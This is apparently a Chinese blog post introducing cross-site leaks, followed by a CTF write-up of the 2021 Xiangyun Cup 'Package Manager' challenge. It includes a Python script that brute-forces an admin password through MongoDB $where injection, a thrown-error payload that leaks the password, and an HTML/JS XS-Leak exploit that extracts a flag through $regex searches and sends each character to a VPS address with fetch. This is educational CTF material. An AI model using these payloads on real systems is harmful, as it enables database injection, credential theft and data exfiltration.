Featured image of post XS-Leaks

XS-Leaks

XS-Leaks

参考:浅谈XS-Leaks之Timeless timing attck-先知社区

Cross-site leaks(又名 XS-Leaks、XSLeaks)是一类源自 Web 平台内置的侧通道的漏洞。他们利用网络的可组合性核心原则,允许网站相互交互,并滥用合法机制来推断有关用户的信息。

利用原理和使用条件

设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。

这些侧信道的来源通常有以下几类:

  1. 浏览器的 api (e.g. Frame Counting and Timing Attacks)
  2. 浏览器的实现细节和 bugs (e.g. Connection Pooling and typeMustMatch)
  3. 硬件 bugs (e.g. Speculative Execution Attacks 4)

一般来说,想要成功利用,需要网页具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。

补充一下,侧信道(Side Channel Attck)攻击主要是通过利用非预期的信息泄露来间接窃取信息。

可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。

[2021祥云杯]Package Manager 2021

给了源码,是typescript

schema.ts看到用mongoose

image-20250403173314482

mongodb数据库

index.ts里面有/auth路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});

这里的token在传入时要经过checkmd5Regex函数的检测

跟进这个函数

1
2
3
const checkmd5Regex = (token: string) => {
  return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

在正则匹配的时候,没有用^$匹配头部或者尾部,所以存在绕过

只需要在token的前面放上一串32长度的字符串aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,就可以满足这个匹配

脚本爆破admin的密码

如果正确会回显Found. Redirecting to

image-20250403185608246

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string

url = "http://b47e38bd-751d-44a9-8629-c25151125644.node5.buuoj.cn:81/auth"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer": "http://b47e38bd-751d-44a9-8629-c25151125644.node5.buuoj.cn:81/auth",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Cookie": "session=s%3AEDffTwh57Qdn0PFrbBrxmP-3rfP1Uo2e.%2F4B6bY%2BkbfAS19XbckzaWvBEc5eVktXrQ8y74ZC%2Fhd4",
    "Upgrade-Insecure-Requests": "1",
}
flag = ''
for i in range(100):
    print(i)
    for j in string.printable:
        data = {
            "_csrf":"h5kKpCkK-Bh_zLDHUSBL6Smc4aM-8d6UwaR4",
            "token":'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j),
        }
        # print(data)
        r = requests.post(url = url ,headers= headers,data=data,allow_redirects=False)
        if "Found. Redirecting to"  in r.text:
            flag  = flag+j
            print(flag)
            break
# print(string.printable)
# 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 

爆出密码是!@#&@&@efefef*@((@))grgregret3r

另一种解法用js抛出异常带出密码

payload

1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="

(()=>{...}) 定义了一个匿名箭头函数

{throw Error(this.password)} 函数体中使用throw Error抛出错误,并将password作为错误消息

() 表示立即执行这个匿名函数

image-20250403191357837

第三种办法就是用xsleaks了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
router.get('/list', async (req, res, next) => {
	const packs = await Package.find({ user_id: req.session.userId });
	if (packs.length == 0) {
		return res.redirect('/packages');
	}
	let { search } = req.query;
	if (search) {
		try {
			let description = search;
			let name = search;
			if (typeof description === 'string') {
				description = { description };
			}
			if (typeof name === 'string') {
				name = { name };
			}
			const packs = await Package.find({
				user_id: req.session.userId,
				$or: [name, description],
			});
			if (packs.length == 0) {
				return next(createError(404));
			}
			return res.render('packages', { packs });
		} catch (err) {
			return next(createError(500))
		}
	}
	return res.render('packages', { packs });
});

这里package/list有search的功能,发现虽然可以实现 search 的功能,但是并不能按照内容正则匹配搜出来

这里 search 参数可以是对象。而对于后端 mongodb 来说,我们是能利用{$regex: 'xxx'}这样的查询进行正则搜索的。故访问 packages/list?search[description][$regex]=^f就可以进行正则查询 desscription 了。这样就符合 xsleak 的思路了。

而具体 leak 的方法。我们使用object标签。它能在火狐环境下做到,如果object.data访问状态码 200,就会触发 onload 事件。如果访问状态码 404,就会触发 onerror 事件。我们根据这个差异性,就能利用 search 注出 flag 内容了。

用vps接收

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<html>
<script>
    const VPS_IP = 'http://120.27.246.202/'
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";

    const escape = (c) => {
        return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
    }

    const oracle = async (url) => {
        return new Promise((resolve, reject) => {
            const object = document.createElement("object");
            object.data = url;
            object.onload = resolve;
            object.onerror = reject;  
            document.head.appendChild(object);
        });
    }
    const search = async (url) => {
        try {
            await oracle(url)
            return true;
        } catch (e) {
            return false;
        }
    }

    (async () => {
        let flag = '';
        let url = `http://localhost:8000/packages/list?search[description][$regex]=^${flag}`
        while (flag.charAt(flag.length - 1) !== "}") {
            for ( let i of chars ) {
            if ( await(search(url + escape(i))) ) {
                url = url + escape(i)
                flag += i
                await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
                break;
        }   else {
            console.log('failed');
            }
         }
        }
    })();
</script>
</html>
使用 Hugo 构建
主题 StackJimmy 设计